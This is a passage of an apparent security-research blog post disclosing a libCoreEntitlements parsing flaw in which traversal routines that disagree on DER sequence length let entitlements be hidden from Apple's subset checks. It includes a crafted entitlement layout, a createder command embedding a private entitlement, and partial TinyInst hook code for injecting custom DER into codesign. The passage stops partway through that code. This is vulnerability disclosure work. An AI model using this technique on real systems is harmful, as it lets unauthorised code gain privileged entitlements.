<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p><ul style="padding: 0;" class="c25 lst-kix_5nbkgo2blvl3-0 start"><li style="margin-left: 46pt;" class="c1 c19 li-bullet-0"><span class="wUhACgDjbS-c6">Identical prefix attacks, where an attacker starts with a common file prefix and then constructs collision blocks such that SHA1(prefix + collision_blocks1) == SHA1(prefix + collision_blocks2).</span></li></ul>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p><ul style="padding: 0;" class="c25 lst-kix_5nbkgo2blvl3-0"><li style="margin-left: 46pt;" class="c1 c19 li-bullet-0"><span class="wUhACgDjbS-c6">Chosen prefix attacks, where the attacker starts with two different prefixes chosen by the attacker and constructs collision blocks such that SHA1(prefix1 + collision_blocks1) == SHA1(prefix2 + collision_blocks2).</span></li></ul>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c2"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>While both attacks are currently practical against SHA1, the first type is significantly cheaper than the second one. According to </span><span class="wUhACgDjbS-c15"><a class="wUhACgDjbS-c181" href="https://eprint.iacr.org/2020/014.pdf">SHA-1 is a Shambles</a></span><span class="wUhACgDjbS-c6"> paper from 2020, the authors report a “cost of US$ 11k for a (identical prefix) collision, and US$ 45k for a chosen-prefix collision”. So I wanted to see if an identical prefix attack on DER entitlements is possible. Special thanks to Ange Albertini for bringing me up to speed on the current state of SHA1 collision attacks.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">My general idea was to</span></p><ul style="padding: 0;" class="c25 lst-kix_pb72mncojys1-0 start"><li style="margin-left: 46pt;" class="c1 c19 li-bullet-0"><span class="wUhACgDjbS-c6">Construct two sets of entitlements that have the same SHA1 hash</span></li><li style="margin-left: 46pt;" class="c1 c19 li-bullet-0"><span class="wUhACgDjbS-c6">Since entitlements will have the same SHA1 hash, the cdHash of the corresponding binaries will also be the same, as long as the corresponding Code Directories use SHA1 as the hash algorithm.</span></li><li style="margin-left: 46pt;" class="c1 c19 li-bullet-0"><span>Exploit a race condition and switch the binary between being opened by the kernel and being opened by </span><span class="wUhACgDjbS-c11 wUhACgDjbS-c4 wUhACgDjbS-c30">amfid</span></li><li style="margin-left: 46pt;" class="c1 c19 li-bullet-0"><span>If everything goes well, </span><span class="wUhACgDjbS-c4">amfid</span><span class="wUhACgDjbS-c6"> is going to see one set of entitlements and the kernel another set of entitlements, while believing that the binary hasn’t changed.</span></li></ul>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c2"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">In order to construct an identical-prefix collision, my plan was to have an entitlements file that contains a long string. The string would declare a 16-bit size and the identical prefix would end right at the place where string length is stored. That way, when a collision is found, lengths of the string in two files would differ. Following the lengths would be more collision data (junk), but that would be considered string content and the parsing of the file would still succeed. Since the length of the string in two files would be different, parsing would continue from two different places in the two files. This idea is illustrated in the following image.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c20"><span> </span></p>
<p class="wUhACgDjbS-c20"><span class="wUhACgDjbS-c6"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKH4YXCWNDGpdZpJY-pcTZcKjJDNFfkMBFIjM37d1kbkxhKV0mmf3rc-NqA7GPuolVdoPRR5z294n68KjKI5GHUOlBS5dK-M-UiQPAkHZr1SO8Zafcv7e5sY6QyLrxnqqcqCjGERmAks1i6xk0IyIhZj6pfViJwl21tiaxoGFFyPJwihmUEn2vPMG6/s388/image3.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKH4YXCWNDGpdZpJY-pcTZcKjJDNFfkMBFIjM37d1kbkxhKV0mmf3rc-NqA7GPuolVdoPRR5z294n68KjKI5GHUOlBS5dK-M-UiQPAkHZr1SO8Zafcv7e5sY6QyLrxnqqcqCjGERmAks1i6xk0IyIhZj6pfViJwl21tiaxoGFFyPJwihmUEn2vPMG6/s388/image3.png" border="0" alt="" style="max-height: 750px; max-width: 600px;"title="" /></a></span></p>
<p class="wUhACgDjbS-c20"><span>A (failed) idea for exploiting an identical prefix SHA1 collision against DER entitlements. The blue parts of the files are the same, while </span><span>green and the red part</span><span class="wUhACgDjbS-c6"> represent (different) collision blocks.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">Except it won’t work.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">The reason it won’t work is that every object in DER, including an object that contains other objects, has a size. Once again, hat tip to Ange Albertini who pointed out right away that this is going to be a problem.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">Since each individual entitlement is stored in a separate sequence object, with our collision we could change the length of a string inside the sequence object (e.g. a value of some entitlement), but not change the length of the sequence object itself. Having a mismatch between the sequence length and the length of content inside the sequence could, depending on how the parser is implemented, lead to a parsing failure. Alternatively, if the parser was more permissive, the parser would succeed but would continue parsing after the end of the current sequence, so the collision wouldn’t cause different entitlements to be seen in two different files.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">Unless the sequence length is completely ignored.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>So I took another look at the library, specifically at how sequence length was handled in different parts of the library, and that is when I found the actual bug.</span></p><h2 class="wUhACgDjbS-c9" id="h.d4pdjgxvhjix"><span class="wUhACgDjbS-c11 wUhACgDjbS-c21">The actual bug</span></h2>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">libCoreEntitlements does not implement traversing DER entitlements in a single place. Instead, traversing is implemented in (at least) three different places:</span></p><ul style="padding: 0;" class="c25 lst-kix_c2aw6txn2xw5-0 start"><li style="margin-left: 46pt;" class="c1 c19 li-bullet-0"><span>Inside </span><span class="wUhACgDjbS-c4">recursivelyValidateEntitlements</span><span>, called from </span><span class="wUhACgDjbS-c4">CEValidate</span><span> which is used to validate entitlements before being loaded (e.g. </span><span class="wUhACgDjbS-c4">CEValidate</span><span> is called from </span><span class="wUhACgDjbS-c4">CEManagedContextFromCFData </span><span>which</span><span> was mentioned before). Among other things, </span><span class="wUhACgDjbS-c4">CEValidate</span><span class="wUhACgDjbS-c6"> ensures that entitlements are in alphabetical order and there are no duplicate entitlements.</span></li><li style="margin-left: 46pt;" class="c1 c19 li-bullet-0"><span class="wUhACgDjbS-c4">der_vm_iterate</span><span>, which is used when converting entitlements to dictionary (</span><span class="wUhACgDjbS-c4">CEQueryContextToCFDictionary</span><span>), but also from </span><span class="wUhACgDjbS-c4">CEContextIsSubset</span><span class="wUhACgDjbS-c6">.</span></li><li style="margin-left: 46pt;" class="c1 c19 li-bullet-0"><span class="wUhACgDjbS-c4">der_vm_execute_nocopy</span><span>, which is used when querying entitlements using </span><span class="wUhACgDjbS-c4">CEContextQuery</span><span class="wUhACgDjbS-c6"> API.</span></li></ul>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>The actual bug is that these traversal algorithms behave slightly differently, in particular in how they handle entitlement sequence length. </span><span class="wUhACgDjbS-c4">der_vm_iterate</span><span> behaved correctly and, after processing a single key/value sequence, continued processing after the sequence end (as indicated by the sequence length). </span><span class="wUhACgDjbS-c4">recursivelyValidateEntitlements</span><span> and </span><span class="wUhACgDjbS-c4">der_vm_execute_nocopy</span><span> however completely ignore the sequence length (beyond an initial check that it is within bounds of the entitlements blob) and, after processing a single entitlement (key/value sequence), would continue processing after the end of the </span><span class="wUhACgDjbS-c29">value</span><span class="wUhACgDjbS-c6">. This difference in iterating over entitlements is illustrated in the following image.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c20"><span> </span></p>
<p class="wUhACgDjbS-c20"><span class="wUhACgDjbS-c6"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmvwezbU_bZy1U1HC0Q6sUq3JUoC-jU2MpAhMjCdDg8-BGmChj0b9dJKuuU2c5jSLIZFcx19cVcw6tTK693jo5NGAFdJJbDx1fLPK5sJ2oijvW6nMa4Q-d7s4yz0JQSmL8LIWIToeqeA14Y8OvS2xC-oS4qZ3v-4a7NAYoTM3X7_EXnHU9MnLRQBor/s473/image1.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmvwezbU_bZy1U1HC0Q6sUq3JUoC-jU2MpAhMjCdDg8-BGmChj0b9dJKuuU2c5jSLIZFcx19cVcw6tTK693jo5NGAFdJJbDx1fLPK5sJ2oijvW6nMa4Q-d7s4yz0JQSmL8LIWIToeqeA14Y8OvS2xC-oS4qZ3v-4a7NAYoTM3X7_EXnHU9MnLRQBor/s473/image1.png" border="0" alt="" style="max-height: 750px; max-width: 600px;"title="" /></a></span></p>
<p class="wUhACgDjbS-c20"><span>Illustration of how different algorithms within libCoreEntitlements traverse the same DER structure. </span><span class="wUhACgDjbS-c4">der_vm_iterate</span><span> is </span><span>shown as green arrows</span><span> </span><span>on the left while </span><span class="wUhACgDjbS-c4">der_vm_execute</span><span> is shown as red arrows on the right</span><span class="wUhACgDjbS-c6">. The red parts of the file represent a “hidden” entitlement that is only visible to the second algorithm.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>This allowed hiding entitlements by embedding them as children of other entitlements, as shown below. Such entitlements would then be visible to </span><span class="wUhACgDjbS-c4">CEValidate</span><span> and </span><span class="wUhACgDjbS-c4">CEContextQuery</span><span>, but hidden from </span><span class="wUhACgDjbS-c4">CEQueryContextToCFDictionary</span><span> and </span><span class="wUhACgDjbS-c4">CEContextIsSubset</span><span class="wUhACgDjbS-c6">. </span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p><a id="t.049393eeee169e67583853ed549fe2b5bc2da995"></a><a id="t.1"></a><table class="wUhACgDjbS-c35"><tr class="wUhACgDjbS-c14"><td class="wUhACgDjbS-c36" colspan="1" rowspan="1">
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c11 wUhACgDjbS-c5">SEQUENCE </span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> UTF8STRING </span><span class="wUhACgDjbS-c5">:</span><span class="wUhACgDjbS-c5">application</span><span class="wUhACgDjbS-c5">-</span><span class="wUhACgDjbS-c11 wUhACgDjbS-c5">identifier</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> UTF8STRING </span><span class="wUhACgDjbS-c5">:testapp</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c22 wUhACgDjbS-c5 wUhACgDjbS-c27"> SEQUENCE </span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c22 wUhACgDjbS-c5 wUhACgDjbS-c27"> UTF8STRING :com.apple.private.foo</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c22 wUhACgDjbS-c5 wUhACgDjbS-c27"> UTF8STRING :bar</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c11 wUhACgDjbS-c5">SEQUENCE </span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> UTF8STRING </span><span class="wUhACgDjbS-c5">:</span><span class="wUhACgDjbS-c5">get</span><span class="wUhACgDjbS-c5">-</span><span class="wUhACgDjbS-c5">task</span><span class="wUhACgDjbS-c5">-</span><span class="wUhACgDjbS-c11 wUhACgDjbS-c5">allow</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> BOOLEAN </span><span class="wUhACgDjbS-c5">:</span><span class="wUhACgDjbS-c5">255</span></p></td></tr></table>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>Luckily (for an attacker), the functions used to perform the check that all entitlements in the binary are a subset of those in the provisioning profile wouldn’t see these hidden entitlements, which would only surface when the kernel would query for a presence of a specific entitlement using the </span><span class="wUhACgDjbS-c4">CEContextQuery</span><span class="wUhACgDjbS-c6"> API.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>Since </span><span class="wUhACgDjbS-c4">CEValidate</span><span> would also see the “hidden” entitlements, these would need to be in alphabetical order together with “normal” entitlements. However, because generally allowed entitlements such as </span><span class="wUhACgDjbS-c4">application-identifier</span><span> on iOS and </span><span class="wUhACgDjbS-c4">com.apple.application-identifier</span><span class="wUhACgDjbS-c6"> on macOS appear pretty soon in the alphabetical order, this requirement doesn’t pose an obstacle for exploitation.</span></p><h2 class="wUhACgDjbS-c9" id="h.f25ljzimqosv"><span class="wUhACgDjbS-c11 wUhACgDjbS-c21">Exploitation</span></h2>
<p class="wUhACgDjbS-c1"><span>In order to try to exploit these issues, some tooling was required. Firstly, tooling to create crafted entitlements DER. For this, I created a small utility called </span><span class="wUhACgDjbS-c15"><a class="wUhACgDjbS-c181" href="https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=575126">createder.cpp</a></span><span class="wUhACgDjbS-c6"> which can be used for example as </span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c5">./createder entitlements.der com.apple.application-identifier=testapp -- com.apple.private.security.kext-collection-management</span><span class="wUhACgDjbS-c32"> </span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">where entitlements.der is the output DER encoded entitlements file, entitlements before “--” are “normal” entitlements and those after “--” are hidden.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>Next, I needed a way to embed such crafted entitlements into a signature blob. Normally, for signing binaries, Apple’s </span><span class="wUhACgDjbS-c23">codesign</span><span class="wUhACgDjbS-c6"> utility is used. However, this utility only accepts XML entitlements as input and the user can’t provide a DER blob. At some point, codesign converts the user-provided XML to DER and embeds both in the resulting binary.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>I decided the easiest way to embed custom DER in a binary would be to modify codesign behavior, specifically the XML to DER conversion process. To do this, I used </span><span class="wUhACgDjbS-c15"><a class="wUhACgDjbS-c181" href="https://github.com/googleprojectzero/TinyInst">TinyInst</a></span><span class="wUhACgDjbS-c6">, a dynamic instrumentation library I developed together with contributors. TinyInst currently supports macOS and Windows.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>In order to embed custom DER, I hooked two functions from libCoreEntitlements that are used during XML to DER conversion: </span><span class="wUhACgDjbS-c4">CESizeSerialization</span><span> and </span><span class="wUhACgDjbS-c4">CESerialize</span><span> (</span><span class="wUhACgDjbS-c4">CESerializeWithOptions</span><span class="wUhACgDjbS-c6"> on macOS 13 / iOS 16). The first one computes the size of DER while the second one outputs DER bytes.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>Initially, I wrote these hooks using TinyInst’s general-purpose low-level instrumentation API. However, since this process was more cumbersome than necessary, in the meantime I created an API specifically for function hooking. So instead of linking to my initial implementation that I sent with the bug report to Apple, let me instead show how the hooks would be implemented using the new </span><span class="wUhACgDjbS-c15"><a class="wUhACgDjbS-c181" href="https://github.com/googleprojectzero/TinyInst/blob/master/hook.md">TinyInst Hook API</a></span><span class="wUhACgDjbS-c6">:</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">cehook.h</span></p><a id="t.863226f2b3c730a2a545d1ba90b5dcb5d69797f0"></a><a id="t.2"></a><table class="wUhACgDjbS-c16"><tr class="wUhACgDjbS-c14"><td class="wUhACgDjbS-c33" colspan="1" rowspan="1">
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c28">#include</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c3">"hook.h"</span></p>
<p class="wUhACgDjbS-c7"><span class="wUhACgDjbS-c11 wUhACgDjbS-c5"></span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">class</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">CESizeSerializationHook</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">:</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">public</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">HookReplace</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">{</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">public</span><span class="wUhACgDjbS-c0">:</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">CESizeSerializationHook</span><span class="wUhACgDjbS-c0">()</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">:</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">HookReplace</span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c3">"libCoreEntitlements.dylib"</span><span class="wUhACgDjbS-c0 wUhACgDjbS-c22">,</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c3">"_CESizeSerialization"</span><span class="wUhACgDjbS-c0">,</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c24">3</span><span class="wUhACgDjbS-c0">)</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">{}</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">protected</span><span class="wUhACgDjbS-c0">:</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">void</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">OnFunctionEntered</span><span class="wUhACgDjbS-c0">()</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">override</span><span class="wUhACgDjbS-c0">;</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c0">};</span></p>
<p class="wUhACgDjbS-c7"><span class="wUhACgDjbS-c11 wUhACgDjbS-c5"></span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">class</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">CESerializeWithOptionsHook</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">:</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">public</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">HookReplace</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">{</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">public</span><span class="wUhACgDjbS-c0">:</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">CESerializeWithOptionsHook</span><span class="wUhACgDjbS-c0">()</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">:</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">HookReplace</span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c3">"libCoreEntitlements.dylib"</span><span class="wUhACgDjbS-c0 wUhACgDjbS-c22">,</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c3">"_CESerializeWithOptions"</span><span class="wUhACgDjbS-c0">,</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c24">6</span><span class="wUhACgDjbS-c0">)</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">{}</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">protected</span><span class="wUhACgDjbS-c0">:</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">void</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">OnFunctionEntered</span><span class="wUhACgDjbS-c0">()</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">override</span><span class="wUhACgDjbS-c0">;</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c0">};</span></p>
<p class="wUhACgDjbS-c7"><span class="wUhACgDjbS-c11 wUhACgDjbS-c5"></span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c28">// the main client</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">class</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">CEInst</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">:</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">public</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">TinyInst</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">{</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">public</span><span class="wUhACgDjbS-c0">:</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">CEInst</span><span class="wUhACgDjbS-c0">();</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">protected</span><span class="wUhACgDjbS-c0">:</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">void</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">OnModuleLoaded</span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">void</span><span class="wUhACgDjbS-c0">*</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">module</span><span class="wUhACgDjbS-c0">,</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">char</span><span class="wUhACgDjbS-c0">*</span><span class="wUhACgDjbS-c5"> module_name</span><span class="wUhACgDjbS-c0">)</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">override</span><span class="wUhACgDjbS-c0">;</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c0">};</span></p></td></tr></table>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>cehook.cpp</span></p><a id="t.884ca52e44ea9f7b2ed792b4cd006659b87029bb"></a><a id="t.3"></a><table class="wUhACgDjbS-c16"><tr class="wUhACgDjbS-c14"><td class="wUhACgDjbS-c33" colspan="1" rowspan="1">
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c28">#include</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c3">"cehook.h"</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c28">#include</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c3"><fstream></span></p>
<p class="wUhACgDjbS-c7"><span class="wUhACgDjbS-c11 wUhACgDjbS-c5"></span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">char</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">*</span><span class="wUhACgDjbS-c5">der</span><span class="wUhACgDjbS-c0">;</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5">size_t der_size</span><span class="wUhACgDjbS-c0">;</span></p>
<p class="wUhACgDjbS-c7"><span class="wUhACgDjbS-c11 wUhACgDjbS-c5"></span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5">size_t kCENoError</span><span class="wUhACgDjbS-c0">;</span></p>
<p class="wUhACgDjbS-c7"><span class="wUhACgDjbS-c11 wUhACgDjbS-c5"></span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c28">// read entitlements.der into buffer</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">void</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">ReadEntitlementsFile</span><span class="wUhACgDjbS-c0">()</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">{</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> std</span><span class="wUhACgDjbS-c0">::</span><span class="wUhACgDjbS-c5">ifstream file</span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c3">"entitlements.der"</span><span class="wUhACgDjbS-c0">,</span><span class="wUhACgDjbS-c5"> std</span><span class="wUhACgDjbS-c0">::</span><span class="wUhACgDjbS-c5">ios</span><span class="wUhACgDjbS-c0">::</span><span class="wUhACgDjbS-c5">binary </span><span class="wUhACgDjbS-c0">|</span><span class="wUhACgDjbS-c5"> std</span><span class="wUhACgDjbS-c0">::</span><span class="wUhACgDjbS-c5">ios</span><span class="wUhACgDjbS-c0">::</span><span class="wUhACgDjbS-c5">ate</span><span class="wUhACgDjbS-c0">);</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">if</span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c5">file</span><span class="wUhACgDjbS-c0">.</span><span class="wUhACgDjbS-c5">fail</span><span class="wUhACgDjbS-c0">())</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">{</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> FATAL</span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c3">"Error reading entitlements file"</span><span class="wUhACgDjbS-c0">);</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">}</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> der_size </span><span class="wUhACgDjbS-c0">=</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c5">size_t</span><span class="wUhACgDjbS-c0">)</span><span class="wUhACgDjbS-c5">file</span><span class="wUhACgDjbS-c0">.</span><span class="wUhACgDjbS-c5">tellg</span><span class="wUhACgDjbS-c0">();</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> file</span><span class="wUhACgDjbS-c0">.</span><span class="wUhACgDjbS-c5">seekg</span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c24">0</span><span class="wUhACgDjbS-c0">,</span><span class="wUhACgDjbS-c5"> std</span><span class="wUhACgDjbS-c0">::</span><span class="wUhACgDjbS-c5">ios</span><span class="wUhACgDjbS-c0">::</span><span class="wUhACgDjbS-c5">beg</span><span class="wUhACgDjbS-c0">);</span></p>
